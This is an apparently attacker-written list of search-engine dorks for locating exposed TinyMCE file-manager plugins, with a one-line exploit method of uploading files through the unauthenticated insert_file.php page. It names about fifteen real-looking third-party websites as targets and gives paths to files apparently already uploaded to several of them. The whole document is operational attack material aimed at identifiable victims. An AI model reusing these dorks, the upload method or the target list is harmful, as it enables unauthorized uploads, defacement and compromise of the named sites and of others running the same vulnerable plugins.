zz

Dorks

inurl tiny_mce/plugins/filemanager/insertfile/insert_file.php
inurl /tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php	inurl /tiny_mce/plugins/ajaxfilemanager/
inurl /tiny_mce/plugins/filemanager/	inurl /tiny_mce/plugins/ibrowser/ibrowser.php
inurl /tiny_mce/plugins/tinybrowser/upload.php	inurl /tiny_mce/plugins/tinybrowser
inurl /js/tiny_mce/plugins/tinybrowser/upload.php	inurl /jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php	inurl /js/tiny_mce/plugins/tinybrowser/
inurl tiny_mce


Dork : inurl:go.php?testID=

exploit : http://target/path/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

next , upload your html , txt or jpg files

file access : http://target/path/test-images/[yourfile].html

site:/test/test-images/example.html

http://www.noordskool.com/toetse/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://www.udhyoga.com/jobseeker/test/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
http://youngnz.org.nz/passport/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
http://onlinetests.germaniak.eu/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
http://www.automatunin.com.pl/admin/js/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://lesaintgermainclub.com/jeux/quiz/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
http://www.klemens.pl/adm/editor/tinymce/jscripts/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://bocahomehealth.com/exam/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
http://www.easybed.pl/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://www.deparkschool.nl/site/plugins/tinymce/jscripts/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://www.iitmcdc.org/onl9exam/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
http://195.223.132.155/cnagrosseto/modules/Tinymax/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://www.formazione.cna-gr.it/cnagrosseto/modules/Tinymax/tiny_mce/plugins/filemanager/InsertFile/insert_file.php x
http://aarambhinternational.com/login/jscripts/tiny_mce/plugins/filemanager/upload.php x
http://www.essexcherryblossom.com/plugins/editors/tinymce/jscripts/tiny_mce/plugins/filemanager/examples.html

http://lesaintgermainclub.com/jeux/quiz/test-images/kyfx.html
http://www.udhyoga.com/jobseeker/test/test-images/kyfx.html
http://youngnz.org.nz/passport/test-images/kyfx.html
http://onlinetests.germaniak.eu/test-images/kyfx.html
http://lesaintgermainclub.com/jeux/quiz/test-images/kyfx.html
http://bocahomehealth.com/test-images/kyfx.html
http://www.iitmcdc.org/onl9exam/test-images/kyfx.html